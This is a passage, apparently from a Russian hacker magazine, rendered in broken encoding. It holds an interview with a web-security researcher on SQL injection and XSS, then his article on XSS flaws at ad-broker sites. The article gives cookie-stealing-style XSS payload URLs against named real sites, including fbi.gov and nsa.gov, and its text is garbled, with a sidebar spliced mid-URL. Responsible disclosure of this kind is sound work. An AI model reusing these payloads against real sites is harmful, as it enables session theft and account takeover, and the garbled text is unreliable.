îò XSS), òîñòàðàþñü èõ îáîéòè, êîãäà ÷óâñòâóþ,÷òî åñòü òàêàÿ âîçìîæíîñòü, äëÿ ÷åãîðàçðàáàòûâàþ ñîáñòâåííûå ìåòîäû.Ïîýòîìó åñëè äûðà åñòü, îáÿçàòåëüíîíàéäó è ðàçðàáîòàþ ìåòîäèêó ååýêñïëóàòàöèè (÷òîáû ïîêàçàòü àäìèíàìýòîãî ñàéòà ïîòåíöèàëüíóþ âîçìîæíîñòüèñïîëüçîâàíèÿ ñóùåñòâóþùåéóÿçâèìîñòè).Q: Êàê ëþäè îáû÷íî ðåàãèðóþòíà òâîè ñîîáùåíèÿ îá óÿçâèìîñòÿõ?À: Ðåàãèðóþò âåñüìà ðàçíîîáðàçíî.Êòî ïðîñòî áëàãîäàðèò, êòî âäîáàâîêê áëàãîäàðíîñòè ïðîñèò, ÷òîáû åùåñîîáùèëè î êàêèõ-ëèáî óÿçâèìîñòÿõíà èõ ñàéòå. Íåêîòîðûå ïðåäëàãàþòñîòðóäíè÷åñòâî, ïðè÷åì â ðàçëè÷íûõíàïðàâëåíèÿõ: êòî â îáëàñòè áåçîïàñíîñòèè íà äëèòåëüíûé ñðîê, êòîïðåäëàãàåò ïðîâåñòè äåòàëüíûé ñåêüþðèòè-àóäèòñàéòà, êòî â îáëàñòè âåáðàçðàáîòêè.À áûâàþò ñëó÷àè, êîãäàïðåäëàãàþò êóïèòü è ìåíÿ, è ìîé ñàéòñî âñåìè ïîòðîõàìè. Íåêîòîðûå ëþäèçàäàþò âîïðîñû êàñàòåëüíî äûðíà èõ ñàéòå, â ÷àñòíîñòè, ïî íåêîòîðûìòèïàì óÿçâèìîñòåé è ïî èõ ýêñïëóàòàöèè.Íî ãëàâíîå, ÷òîáû ëþäèïîíÿëè ðèñêè íàéäåííûõ íà èõ ñàéòåóÿçâèìîñòåé è èñïðàâèëè èõ.Òàêæå áûâàåò, ÷òî ãðóáÿò. ×òîìîë, íå ïîíèìàþò íè÷åãî â äàííîìâîïðîñå è íå âèäÿò íèêàêîé îïàñíîñòè,ëèáî âîîáùå íå çíàþò, î ÷åì ÿòîëêóþ. Èëè íå âèäÿò ïîâîäà äëÿ áåñïîêîéñòâà.À áûâàåò, è íåðåäêî, ÷òîâîîáùå íèêàê íå ðåàãèðóþò. È ñàéòûòàê è îñòàþòñÿ äûðÿâûìè…Q: Ñêîëüêî àäìèíèñòðàòîðîâïðèñëóøèâàåòñÿ ê òâîèìïðåäóïðåæäåíèÿì îá óÿçâèìîñòÿõ?À: Åñëè ïîïûòàòüñÿ óñðåäíèòü, òî ïîëó-÷èòñÿ ñëåäóþùàÿ êàðòèíà. 60% àäìèíîâîòâå÷àþò íà ìîå ïèñüìî, èç íèõ59% àäìèíîâ èñïðàâëÿþò óÿçâèìîñòè,1% àäìèíîâ — íå èñïðàâëÿþò. 40% àäìèíîâíå îòâå÷àþò íà ìîå ïèñüìî,èç íèõ 30% àäìèíîâ — èñïðàâëÿþòóÿçâèìîñòè, 10% àäìèíîâ — íå èñïðàâëÿþò.Òàê ÷òî ïðàêòè÷åñêè 90% àäìèíîâèñïðàâëÿþò óêàçàííûå ìíîþ óÿçâèìîñòè.Ýòî è åñòü ýôôåêòèâíîñòü ïóáëè÷íîéðàáîòû. À âåäü ýòè äûðû ìîãëèáû ãîäàìè âèñåòü è ýêñïëóàòèðîâàòüñÿ«äîáðûìè» ëþäüìè.Q: Êàê ïðîâåðèòü ñîáñòâåííûéðåñóðñ? Åñòü ëè êàêèå-íèáóäüãîòîâûå òåñòû, ñ ïîìîùüþ êîòîðûõìîæíî ëîêàëèçîâàòü ëàçåéêè äëÿïðèìåíåíèÿ SQL injection èëè XSS?À: Òåñòèðîâàòü ñâîé ðåñóðñ ìîæíî êàêñàìîñòîÿòåëüíî, òàê è îáðàòèâøèñü êïðîôåññèîíàëàì. Åñòü ðàçëè÷íûåêîìïàíèè, ôèðìû è ÷àñòíûå ñåêüþðèòè-ñïåöèàëèñòû,êîòîðûå çàíèìàþòñÿýòèì ïðîôåññèîíàëüíî. Äðóãîå äåëî,÷òî èìåííî íà âåá-áåçîïàñíîñòè ìàëîêòî ñïåöèàëèçèðóåòñÿ, íî è òàêèåäåÿòåëè åñòü. Èõ ìîæíî íàéòè ÷åðåçëè÷íûå ñàéòû, íà ñàéòàõ ñåêüþðèòèòåìàòèêèèëè íà õàêåðñêèõ ôîðóìàõ.Äîñòàòî÷íî îáðàòèòüñÿ ñ ïðîñüáîéíàéòè èñïîëíèòåëÿ, êîòîðûé ïðîòåñòèðóåòñàéò íà óÿçâèìîñòè.Ãîòîâûõ òåñòîâ íåò, íî åñòüñåêüþðèòè-ñêàíåðû. Íàïðèìåð, XSpiderðîññèéñêîãî ðàçðàáîò÷èêà PositiveTechnologies (íåäàâíî âûøëà 7-àÿâåðñèÿ). Åñòü ó íåãî è îíëàéí-âåðñèÿ— http://online.xspider.ru. Íî ñêàíåðûìîãóò ëèøü ÷àñòè÷íî ðåøèòü âîïðîñòåñòèðîâàíèÿ áåçîïàñíîñòè âåá-ñàéòàèëè âåá-ïðèëîæåíèÿ. Íè îäèí ñêàíåðíå çàìåíèò ýêñïåðòà.Q: Åñòü ëè ïîøàãîâîå ïîñîáèå, êàêçàùèòèòüñÿ îò SQL Injection è XSS?Èëè âñå ñóãóáî èíäèâèäóàëüíî?À: Íóæíû çíàíèÿ. Ïîýòîìó íóæíî ÷èòàòüî ðàçíûõ òèïàõ óÿçâèìîñòåé,÷òîáû çíàòü èõ îñîáåííîñòè. Òàêæåíóæíî ÷èòàòü îá óÿçâèìîñòÿõ â ðàçëè÷íûõñèñòåìàõ, î êîíêðåòíûõ äûðàõ.×òîáû çíàòü, ãäå â òâîåé ñèñòåìåäûðà è êàê èñïðàâèòü (ïðè íàëè÷èèíàâûêîâ ïðîãðàììèðîâàíèÿ) èìåííîåå. Íåðåäêî â îïèñàíèè óÿçâèìîñòåéñðàçó ïðèâîäÿò íåîáõîäèìûå èñïðàâëåíèÿäëÿ óñòðàíåíèÿ óêàçàííûõäûð. Íàïðèìåð, MustLive SecurityPack (http://websecurity.com.ua/securitypack/)— ìîå ñîáñòâåííîå ðóêîâîäñòâîïî èñïðàâëåíèþ óÿçâèìîñòåé.Òàê ÷òî èíôîðìàöèÿ åñòü, íóæíîëèøü èñêàòü åå.


57Q: Êàê îò SQL injection è XSSçàùèùàþòñÿ ãèãàíòû ðóíåòà òèïàßíäåêñà, Ðàìáëåðà è Mail.ru?À: Íå ëó÷øèì îáðàçîì. Ýòî ÿ çíàþíå ïîíàñëûøêå è íå èç íîâîñòåé ñåêüþðèòè-ñàéòîâ,à èç ñîáñòâåííîãîîïûòà. Òàê êàê ðåãóëÿðíî íàõîæó óÿçâèìîñòèíà òàêèõ êðóïíûõ ñàéòàõ.Ïðè÷åì SQL injection íà ïîäîáíûõïðîåêòàõ ìíå íå ïîïàäàëèñü, à âîòXSS — âåñüìà ÷àñòî.ßíäåêñ:xss íà images.yandex.ruhttp://websecurity.com.ua/3/;xss íà www.yandex.ruhttp://websecurity.com.ua/36/;xss â êîäå ÿíäåêñ-äèðåêò,÷òî ïîäâåðãàþò XSS-àòàêàì ñàéòûïàðòíåðîâ http://websecurity.com.ua/398/.Ðàìáëåð:xss íà adstat.rambler.ruhttp://websecurity.com.ua/11/;xss íà www.rambler.ruhttp://websecurity.com.ua/17/;xss íà lenta.ruhttp://websecurity.com.ua/23/;xss íà horoscopes.rambler.ruhttp://websecurity.com.ua/40/;xss íà lenta.ruhttp://websecurity.com.ua/149/.Mail.ru:xss íà drive.mail.ruhttp://websecurity.com.ua/405/Êðîìå ýòèõ ëèäåðîâ, äîâîäèëîñü íàõîäèòüóÿçâèìîñòè íà ìíîãèõ äðóãèõèçâåñòíûõ è ïîïóëÿðíûõ ðåñóðñàõ:aport.ru, go.km.ru, cnews.ru, www.rbc.ru,www.quote.ru, spylog.ru, íà ñàéòàõ ìíîãèõðåêëàìíûõ áðîêåðîâ, 3dnews.ru(è blog.3dnews.ru) è ìíîãèõ äðóãèõ.È ýòî òîëüêî òå, î êîòîðûõ ÿ òàê èëèèíà÷å óïîìÿíóë ó ñåáÿ íà ñàéòå.Q: Íåêîòîðûå èäóò ïðîñòûì ïóòåì —ìàêñèìàëüíî ìàñêèðóþò ðàáîòóäâèæêà, äàáû íå ïåðåáèðàòü âñåâîçìîæíûå âàðèàíòû. Íå âèäíî —è ëàäíî: çëîóìûøëåííèê äàæå íåóçíàåò, óñïåøíî ëè ïðîøëà àòàêà.Íî òàê ëè ýòî â äåéñòâèòåëüíîñòè?À: Òàêîé âàðèàíò, êîíå÷íî, âîçìîæåí,è ìàñêèðîâêà ÿâëÿåòñÿ îäíèì èç âàðèàíòîâçàùèòû. Åñëè èñïîëüçóåøüêàêîé-íèáóäü îòêðûòûé äâèæîê, áåðåøüñåáå íîâûé ñêèí, óáèðàåøü âñåóïîìèíàíèÿ î âåðñèè äâèæêà èëè äàæåîá åãî èìåíè, ïðè æåëàíèè ìåíÿåøüñòðóêòóðó êàòàëîãîâ (íåðåäêîèìåííî îíà âûäàåò òåáÿ, êàê áû òû íå«ïðÿòàë» äâèæîê). Èëè, êàê âàðèàíò,ìåíÿåòñÿ ðàñøèðåíèå. Íàïðèìåð, íàHTML, õîòÿ èñïîëüçóåòñÿ Perl èëèPHP — ñ öåëüþ ââåñòè àòàêóþùåãî âçàáëóæäåíèå.Ïðàâäà, âñå ýòè ïðèåìû ìîãóòîòïóãíóòü íîâè÷êà, íåîïûòíîãî õàêåðàèëè ñêðèïò-êèääèñà, à ïðîôåññèîíàëàíå ïðîâåäåøü. È åñëè åñòü äûðà,òî îí åå îáÿçàòåëüíî íàéäåò. Èëèåñëè êàêèì-òî îáðàçîì óçíàåò, êàêîéäâèæîê íà ñàìîì äåëå íà ñàéòå,òî ñìîæåò ïðîñòûì ïåðåáîðîì óÿçâèìîñòåéè ýêñïëîéòîâ âûÿñíèòü, êàêàÿâåðñèÿ, è ïîõàêàòü ñàéò. Èëè æå ïðîâåäåòèññëåäîâàíèå ñèñòåìû êàê÷åðíîãî ÿùèêà è ñàìîñòîÿòåëüíîíàéäåò óÿçâèìîñòü.Òàê ÷òî ìàñêèðîâêà — ìàëîýôôåêòèâíûéñïîñîá. Èñêëþ÷åíèåì ÿâëÿåòñÿëèøü îòêëþ÷åíèå âûâîäà ñîîáùåíèéîá îøèáêàõ áàçû äàííûõ. òàêîì ñëó÷àå ïðîâîäèòü àòàêó SQLInjection ñëîæíåå, íî è ýòî íå ïðîáëåìàäëÿ ïðîôè (âåäü åñòü æå Blind SQLInjection). Îòêëþ÷åíèå îøèáîê ñïàñàåòîò SQL DB Structure Extractionè â íåêîòîðûõ ñëó÷àÿõ îò XSS-óÿçâèìîñòåé(êîãäà ÷åðåç âûâîä ñîîáùåíèÿîá îøèáêå ïðîèçâîäÿò XSS-àòàêó,÷òî âñòðå÷àåòñÿ â ðàçëè÷íûõäâèæêàõ).Q: Ïðàâäà ëè, ÷òî ñàéòû íà flashèçáàâëåíû îò ïðîáëåì SQL injectionè XSS? Èëè ýòî ìèô?À: Ñàì ôëåø èëè ôëåø-ýëåìåíòû,êîòîðûå èñïîëüçóþòñÿ íà ñàéòå, íåóÿçâèìûäëÿ SQL Injection è XSS. Íî âñëó÷àå èñïîëüçîâàíèÿ íà ñàéòå êàêèõ-ëèáîñêðèïòîâ (íàïðèìåð, PHPñêðèïòàäëÿ äîñòóïà ê ÁÄ) êëàññè÷åñêèåóÿçâèìîñòè ìîãóò èìåòü ìåñòî.Õîòÿ è ñ ôëåøåì íå âñå òàêãëàäêî. Âî ôëåøå èìååòñÿ âîçìîæíîñòü(íåîáõîäèì ôëåø-ïëååð ñîîòâåòñòâóþùåéâåðñèè, íå ïðîïàò÷åííûé)îòñûëàòü HTTP-çàïðîñ (www.securitylab.ru/analytics/271169.php),÷òî ïîçâîëÿåòñîçäàòü çëîóìûøëåííóþôëåøêó, êîòîðàÿ áóäåò ñîâåðøàòüXSS-àòàêè íà ïîëüçîâàòåëåé, ïðîñìàòðèâàþùèõåå â ñâîåì áðàóçåðå.Íàïðèìåð, ìîæíî çàãðóçèòü ôëåøêóâ «ñîöèàëüíûå ñåòè» èëè ðàçìåñòèòüåå íà ñàéòå, è êàêèì-òî îáðàçîì çàìàíèòüòóäà ïîëüçîâàòåëåé. Èëè äàæåðàçìåñòèòü ôëåø-áàííåð â áàííåðíîéñåòè èëè â ðåêëàìíîì áðîêåðå,âêëþ÷èâ â íåãî çëîâðåäíûé êîä.Òî åñòü àòàêîâàííûé ñàéò íå îáÿçàòåëüíîäîëæåí áûòü íà ôëåøå, äàæåíàîáîðîò — îí âïîëíå ìîæåò áûòüíà HTML (è äàæå íå ñîäåðæàòü íèêàêèõôëåø-ýëåìåíòîâ).Ïîäðîáíåå êàñàòåëüíî ìåæñàéòîâîãîñêðèïòèíãà â ÿçûêå Flash ìîæíîïðî÷èòàòü íà http://websecurity.com.-ua/18/, à ïðî èíúåêöèè â HTTP-çàãîëîâêå— íà http://websecurity.com.ua/373/.Q: Íàñêîëüêî àêòóàëüíà òåìàóäàëåííîãî êîíòðîëÿ ÷åðåç XSS?À: Âåñüìà. Òàê êàê ïðîâîäÿòñÿ äîïîëíèòåëüíûåèññëåäîâàíèÿ â ýòîéîáëàñòè (http://websecurity.com.ua/361/),ïîÿâëÿåòñÿ ðàçëè÷íûé èíñòðóìåíòàðèéäëÿ ïîäîáíûõ çàäà÷ (www.securitylab.ru/analytics/271931.php),íàïðèìåðXSS Proxy, backweb, BeEF ExploitationFramework è XSS Shell. Âñå ýòî ìîæåòèñïîëüçîâàòüñÿ (è èñïîëüçóåòñÿ) äëÿðàçëè÷íûõ, â îñíîâíîì òî÷å÷íûõàòàê, ñ öåëüþ õèùåíèÿ êîíôèäåíöèàëüíîéèíôîðìàöèè, ïàðîëåéè äëÿ ïðîìûøëåííîãî øïèîíàæà.Òàêæå óäàëåííûé êîíòðîëü ÷åðåçXSS ìîæåò áûòü èñïîëüçîâàí äëÿáîëåå ãëîáàëüíûõ àòàê, íà÷èíàÿ îòçàõâàòà ñàéòîâ (êîòîðûå ïðîñòî òàêíå âçëîìàåøü) è çàêàí÷èâàÿ àòàêàìèíà ëîêàëüíûå ìàøèíû è ëîêàëüíûåñåòè ïðåäïðèÿòèé (http://websecurity.com.ua/369/).Q: ×òî ïîñîâåòóåøü òåì,êòî òîëüêî ïðîåêòèðóåò ñâîéáóäóùèé ðåñóðñ?À: Óæå íà ýòàïå ïðîåêòèðîâàíèÿ óäåëÿéâíèìàíèå áåçîïàñíîñòè. È ïèøèêîððåêòíûé êîä. À äëÿ ýòîãî, êîíå÷íî,íóæåí îïûò è çíàíèÿ. ×èòàé èíôîðìàöèþïî òåìå, íàïðèìåð ìîå ðóêîâîäñòâîïî áåçîïàñíîñòè (http://websecurity.com.ua/security/),ïðåäíàçíà÷åííîåäëÿ âåá-ðàçðàáîò÷èêîâ.Ïðîâåðÿé ñâîè âåá-ñàéòû, âåáïðèëîæåíèÿè âåá-ñèñòåìû íà óÿçâèìîñòè— ïðîâîäè àóäèòû áåçîïàñíîñòè.Ïî âîçìîæíîñòè äåëàé ýòî íà íà-÷àëüíîì ýòàïå. Íî è äëÿ óæå ñóùåñòâóþùèõïðîåêòîâ ýòè æå ìåðîïðèÿòèÿíå ìåíåå àêòóàëüíû. È íå çàáûâàéïîñëå âíåñåíèÿ èçìåíåíèé â âåáïðèëîæåíèÿïðîâîäèòü ïîâòîðíûåïðîâåðêè.Îñíîâíàÿ çàäà÷à — óâåëè÷åíèåóðîâíÿ áåçîïàñíîñòè êàæäîãî ñàéòàâ îòäåëüíîñòè è, ñîîòâåòñòâåííî, èíòåðíåòàâ öåëîì. Âåäü åñëè êàæäûéáóäåò äóìàòü î áåçîïàñíîñòè åùåíà ýòàïå ïðîåêòèðîâàíèÿ ñàéòà, òî èëîìàòü áóäåò íå÷åãî. Ïîêà æå äî ýòîãîäàëåêî…http://websecurity.com.ua/120/ñòàòèñòèêà âåá-àòàêhttp://websecurity.com.ua/127/õàêèíã ñàéòà ÷åðåç óÿçâèìîñòè â êîäåâíåøíèõ ñèñòåìhttp://websecurity.com.ua/474/õàêåðñêàÿ àêòèâíîñòü â uàíåòå â 2006 ãîäóhttp://websecurity.com.ua/security/ðóêîâîäñòâî ïî áåçîïàñíîñòèhttp://websecurity.com.ua/378/óÿçâèìîñòü íà www.iss.nethttp://online.xspider.ruXSpider <strong>Online</strong>http://websecurity.com.ua/security-pack/MustLive Security Packhttp://websecurity.com.ua/3/Cross-Site Scripting íà ßíäåêñåhttp://websecurity.com.ua/36/íîâûå óÿçâèìîñòè íà ßíäåêñåhttp://websecurity.com.ua/398/óÿçâèìîñòè â Yandex-Directhttp://websecurity.com.ua/11/Cross-Site Scripting íà Ðàìáëåðåhttp://websecurity.com.ua/17/íîâàÿ óÿçâèìîñòü íà Ðàìáëåðåhttp://websecurity.com.ua/23/XSS íà lenta.ruhttp://websecurity.com.ua/40/íîâàÿ XSS-óÿçâèìîñòü íà Ðàìáëåðåhttp://websecurity.com.ua/149/óÿçâèìîñòü íà lenta.ruhttp://websecurity.com.ua/405/óÿçâèìîñòü íà drive.mail.ruhttp://www.securitylab.ru/analytics/271169.phpïîääåëêà çàãîëîâêîâ HTTP-çàïðîñàñ ïîìîùüþ Flash ActionScripthttp://websecurity.com.ua/18/ìåæñàéòîâûé ñêðèïòèíã â Shockwave Flashhttp://websecurity.com.ua/373/Flash plugin HTTP header injectionhttp://websecurity.com.ua/361/XSS äëÿ óäàëåííîãî êîíòðîëÿhttp://www.securitylab.ru/analytics/271931.phpïðîäâèíóòûé ìåæñàéòîâûé ñêðèïòèíã ñóäàëåííûì êîíòðîëåì â ðåàëüíîì âðåìåíèhttp://websecurity.com.ua/369/èñïîëüçîâàíèå óÿçâèìîñòåé íà ëîêàëüíûõìàøèíàõ


58 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07øàìàíñêèå äåëàÐåêëàìà ñ ïîäâîõîìÌÍÎÃÈÅ ÂÅÁ-ÌÀÑÒÅÐÀ ÇÀÄÓÌÛÂÀËÈÑÜ Î ÇÀÐÀÁÎÒÊÅ ÇÀ Ñ×ÅÒ ÐÀÇÌÅÙÅÍÈß ÐÅÊËÀÌÛÍÀ ÑÂÎÈÕ ÑÀÉÒÀÕ. ÏÎÄÎÁÍÛÅ ÑÅÐÂÈÑÛ ÑÓÙÅÑÒÂÓÞÒ Â ÐÓÍÅÒÅ È ÈÕ ×ÈÑËÎ ÏÎÑÒÎßÍÍÎÐÀÑÒÅÒ. ÍÎ Â ÈÍÒÅÐÍÅÒ-ÐÅÊËÀÌÅ ÅÑÒÜ ÑÂÎÈ ÏÎÄÂÎÄÍÛÅ ÊÀÌÍÈ.Åâãåíèé Äîêóêèí aka Mustlivemustlive@websecurity.com.uaÐå÷ü èäåò î ðåêëàìíûõ èíòåðíåò-áðîêåðàõ. Ýòî îäíàèç íàèáîëåå äèíàìè÷íûõ êàòåãîðèé â ðåêëàìíîìñåêòîðå ðóíåòà (ïîìèìî áàííåðíûõ ñåòåé, ðåêëàìíûõàãåíòñòâ è ÷àñòíûõ ðåêëàìíûõ ïîïîëçíîâåíèé).Ñðåäè ôîðìàòîâ, ïîääåðæèâàåìûõ ðåêëàìíûìèáðîêåðàìè, ìîæíî âûäåëèòü áàííåðíóþ ðåêëàìó(ðàçëè÷íûõ ðàçìåðîâ, îáû÷íî ôîðìàòîâ gif è jpg),ôëåø-ðåêëàìó (ôîðìàò swf) è òåêñòîâóþ (â òîì ÷èñëåè êîíòåêñòíóþ). Îïëàòà, ñîîòâåòñòâåííî, çà êëèêè,ïîêàçû è çà âðåìÿ ðàçìåùåíèÿ. Êàæäûé áðîêåðèìååò ñâîè îñîáåííîñòè è ñâîè ïëþñû, ïðåäëàãàÿðàçëè÷íûå óñëóãè äëÿ âåá-ìàñòåðîâ è ðåêëàìîäàòåëåé.×åðåç áðîêåðîâ èíòåðíåò-ðåêëàìû åæåäíåâíîïðîõîäÿò äåíåæíûå ïîòîêè, è ýòî ìîãóò áûòüâåñüìà ñîëèäíûå ñóììû.Ïîäîáíàÿ ñèòóàöèÿ ïðèâëåêàåò ê ðåêëàìíûìáðîêåðàì âíèìàíèå â òîì ÷èñëå è çëîóìûøëåííèêîâ.Ïðîàíàëèçèðóåì ñèòóàöèþ íà ðûíêå ðåêëàìíûõèíòåðíåò-áðîêåðîâ ðóíåòà.  êîíòåêñòå áåçîïàñíîñòèè, â ÷àñòíîñòè, Cross-Site Scripting óÿçâèìîñòåé.XSS-óÿçâèìîñòè ìîãóò áûòü èñïîëüçîâàíûñ öåëüþ çàõâàòà ó÷åòíîé çàïèñè ïîëüçîâàòåëÿ, äëÿïîëó÷åíèÿ êîíôèäåíöèàëüíîé èíôîðìàöèè è äåíåã,íàêîïëåííûõ íà ïîëüçîâàòåëüñêîì àêêàóíòå.Íèæå ìû ïðèâåäåì ïðèìåðû íåêîòîðûõ áðîêåðîâ,íà ñàéòàõ êîòîðûõ èìåëè ìåñòî óÿçâèìîñòè(äàííûé ñïèñîê íå ïîëîí, è íå ñòîèò ñ÷èòàòü, ÷òî óäðóãèõ èíòåðíåò-áðîêåðîâ òàêèõ ïðîáëåì íå áûâàåò).Âñå ïðèâåäåííûå ïðèìåðû, èñõîäÿ èç çäðàâîãîñìûñëà è ýòè÷åñêèõ ñîîáðàæåíèé, ñîäåðæàòÐÅÊËÀÌÍÛÅ ÈÍÒÅÐÍÅÒ-ÁÐÎÊÅÐÛ ÏÐÅÄÑÒÀÂËßÞÒ ËÀÊÎÌÛÉ ÊÓÑÎÊÄËß ÇËÎÓÌÛØËÅÍÍÈÊÎÂ, ÏÎÒÎÌÓ ×ÒÎ ×ÅÐÅÇ ÍÈÕ ÏÐÎÊÀ×ÈÂÀÞÒÑßÄÎÑÒÀÒÎ×ÍÎ ÌÎÙÍÛÅ ÄÅÍÅÆÍÛÅ ÏÎÒÎÊÈXSS-óÿçâèìîñòè, î êîòîðûõ ñàìè èíòåðíåò-áðîêåðûçíàþò è êîòîðûå óæå èñïðàâëåíû. Ýòî ñäåëàíîâ öåëÿõ áåçîïàñíîñòè ñàìèõ áðîêåðîâ è èõ ó÷àñòíèêîâ.Òàêæå ñëåäóåò ïîíèìàòü, ÷òî ìû ðàòóåì çà áåçîïàñíîñòüè íàäååìñÿ, ÷òî ïðèìåðû ïîìîãóò âñåìîñîçíàòü ñåðüåçíîñòü ñèòóàöèè è ïðîâåðèòüñîáñòâåííûå ïðîåêòû íà àíàëîãè÷íûå óÿçâèìîñòè.Èñïîëüçîâàíèå æå ïðèìåðîâ XSS-óÿçâèìîñòåéãäå áû òî íè áûëî — íà ñîâåñòè (à, ñëåäîâàòåëüíî,è îòâåòñòâåííîñòè) ÷èòàòåëÿ.www.clx.ru. XSS-óÿçâèìîñòè èìåëè ìåñòî, íîàäìèíèñòðàòîðû ñäåëàëè îñíîâíîé óïîð íà ñîâåðøåíñòâîâàíèèñèñòåìû àâòîðèçàöèè, ââåäÿ äîïîëíèòåëüíîåîãðàíè÷åíèå âðåìåíè ñåññèè è ïðèâÿçêóñåññèè ê IP-àäðåñó. Ýòî ïîçâîëèëî ïîâûñèòüáåçîïàñíîñòü ñèñòåìû â öåëîì, ÷àñòè÷íî îãðàäèâåå îò ïîòåíöèàëüíûõ XSS. Íî 100% çàùèòû òàêîéïîäõîä íå äàåò, è ïåðèîäè÷åñêè ïðèõîäèòñÿ îòëàâëèâàòüè èñïðàâëÿòü íàéäåííûå óÿçâèìîñòè.www.prospero.ru, www.procontext.ru, www.seopoint.ru.Âñå òðè ïðîåêòà ïðèíàäëåæàò îäíèì è òåì


æå ëþäÿì, ïðîñòî îðèåíòèðîâàíû íà ðàçíóþ öåëåâóþàóäèòîðèþ. Ê ïðèìåðó, PROCONTEXT — ýòîêîíòåêñòíàÿ ðåêëàìà, êîòîðàÿ ðàíåå áûëà äîñòóïíàâ ñàìîì PROSPERO, íî çàòåì åå èñêóññòâåííî âûäåëèëèâ îòäåëüíûé ïðîåêò, ÷òîáû ðàçâÿçàòü ðóêèîñíîâíîìó ïðîåêòó ïðè ñîâåðøåíñòâîâàíèè êîäàè ôóíêöèîíàëüíîñòè.Óÿçâèìîñòè â ýòèõ ñèñòåìàõ îáíàðóæèâàëèñüíåîäíîêðàòíî, íî íàäî îòäàòü äîëæíîå îïåðàòèâíîñòèàäìèíèñòðàòîðîâ, êîòîðûå äåëàëè ëþáûåïðîáëåìû äîñòîÿíèåì èñòîðèè, îïåðàòèâíî âíîñÿíåîáõîäèìûå èçìåíåíèÿ. Òàêæå îíè ñåðüåçíî ïîâûñèëèáåçîïàñíîñòü, óñîâåðøåíñòâîâàâ ñèñòåìó àâòîðèçàöèè,ââåäÿ äîïîëíèòåëüíûå îãðàíè÷åíèÿ ïîâðåìåíè ñåññèè è ïðèâÿçêå ñåññèè ê IP-àäðåñó (àíàëîãèÿñ CLX).Ïðèâåäåì XSS-óÿçâèìîñòü, êîòîðàÿ èìåëàìåñòî íà ôîðóìàõ âñåõ òðåõ ïðîåêòîâ (äâèæîê îäèíè òîò æå). Îíà çàòàèëàñü â ïàðàìåòðå search_wordsäëÿ ïîèñêà ïî ôîðóìó:http://www.prospero.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ehttp://procontext.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ehttp://seopoint.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ewww.mainlink.ru. Ïðèìåð ýêñïëóàòàöèè èìåâøåéìåñòî óÿçâèìîñòè:http://mainlink.ru/find/?what=%3Cscript%3Ealert(document.cookie)%3C/script%3Ewww.setlinks.ru. Ïðèìåð ýêñïëóàòàöèè èìåâøåéìåñòî óÿçâèìîñòè — íà ñòðàíèöåhttp://www.setlinks.ru/partner/editpage.html?id=xxxxïðè îòïðàâêå POST-çàïðîñà (â ïîëÿõ «Ðàçäåëèòåëü»è «Êëàññ ññûëîê»):">alert(document.cookie)www.adbroker.ru. Ïðèìåð ýêñïëóàòàöèè èìåâøåéìåñòî óÿçâèìîñòè:http://adbroker.ru/user_partner.php?action=adv_queries&uarq_order=4%22%3E%XSS íà www.fbi.gov3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://adbroker.ru/get_code.php?scid=2484&lid=1&css_class=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ewww.affiliatenetwork.ru. Ïðèìåð ýêñïëóàòàöèèèìåâøåé ìåñòî óÿçâèìîñòè:http://www.affiliatenetwork.ru/affiliates_new/viewpaid.php?kol_zap_str=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ewww.link.ru. Îäèí èç íåìíîãèõ èíòåðíåò-áðîêåðîâ,àäìèíèñòðàòîðû êîòîðîãî, ê ñîæàëåíèþ,http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert('XSS')http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert(document.cookie)http://www.fbi.gov/cgi-bin/outside.cgi?http://websecurity.com.uaXSS íà www.nsa.govhttp://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:alert(%22XSS%22)%3Ealert(«XSS»), òîëüêî IEhttp://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:alert(document.cookie)%3Ealert(document.cookie), òîëüêî IEhttp://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:document.location=%22http://websecurity.com.ua%22%3E(1)(2)


60 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07çàíèìàþòñÿ áåçîïàñíîñòüþ ïðîåêòà ñïóñòÿ ðóêàâà. ñèñòåìå äîñòàòî÷íî äîëãî ñóùåñòâîâàëè ðàáî÷èåXSS-óÿçâèìîñòè, î êîòîðûõ àäìèíèñòðàöèÿáûëà îïîâåùåíà.ïðèìåð ýêñïëóàòàöèè ýòîé óÿçâèìîñòè:http://www.link.ru/?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.link.ru/adv.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.link.ru/reklama.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.link.ru/siteowner.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.link.ru/contact.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.link.ru/stats.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.link.ru/faq.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.link.ru/?sid=%27%3E%3Cscript%3Edocument.location%3D'http://websecurity.com.ua'%3C/script%3Ewww.context.meta.ua. Ïðèìåð ýêñïëóàòàöèèèìåâøåé ìåñòî óÿçâèìîñòè:http://context.meta.ua/?mode=phrase&phrase=%3Cscript%3Ealert(document.cookie)%3C/script%3Eóÿçâèìîñòè â ïàðòíåðñêîì êîäå. Óïîìÿíóòûåâ ñèñòåìàõ êîíòåêñòíîé ðåêëàìû (procontext.ru è context.meta.ua)XSS-óÿçâèìîñòè íàõîäÿòñÿ â èíòåðôåéñàõñàìèõ ñèñòåì. Íî âîçìîæíû åùå è àòàêè íà ñàéòûó÷àñòíèêîâ äàííûõ 